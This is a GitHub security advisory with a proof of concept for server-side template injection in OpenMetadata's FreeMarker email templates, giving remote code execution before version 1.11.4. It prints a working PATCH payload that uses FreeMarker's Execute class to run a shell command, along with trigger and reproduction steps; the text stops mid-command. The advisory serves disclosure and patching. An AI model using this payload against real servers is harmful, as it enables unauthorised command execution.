GitHub Security Advisory: GHSA-5f29-2333-h9c7
Package: org.open-metadata:platform (MAVEN)
Severity: HIGH (CVSS 9.1)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: < 1.11.4
Patched in: 1.11.4

Summary: OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

Details:
# OpenMetadata RCE Vulnerability - Proof of Concept

## Executive Summary

**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.

## Credit
- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud

## Vulnerability Details

### 1. Root Cause

File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`

**Lines 35-45** contain unsafe FreeMarker template instantiation:

```java
public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    return new Template(
        templateName, 
        new StringReader(template),  // ← RENDERS UNTRUSTED TEMPLATE
        new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}
```

**Missing Security Controls**:
- ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation
- ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection
- ❌ No input validation - Template content not sanitized

### 2. Attack Vector (VERIFIED)

**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

```bash
PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
  }
]
```

**Step 2**: Malicious template stored in MySQL database:

```sql
SELECT name, JSON_EXTRACT(json, '$.data.template') 
FROM docstore 
WHERE name = 'account-activity-change';

-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...
```

**Step 3**: Trigger template rendering via email notification:
- Password change
- User invitation
- Account activity notification
- Test email (if SMTP configured)

**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:

```java
Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!
```

---

## Exploit Verification

### Environment

- **Version**: OpenMetadata 1.11.2 (Latest)
- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
- **Test Date**: December 15, 2025

### Step-by-Step Reproduction

#### 1. Deploy OpenMetadata 1.11.2

```bash
cd docker
./run_local_docker.sh -m no-ui -d mysql
```

**Result**: ✅ OpenMetadata running on localhost:8585

#### 2. Obtain Admin JWT Token

```bash
export NO_PRO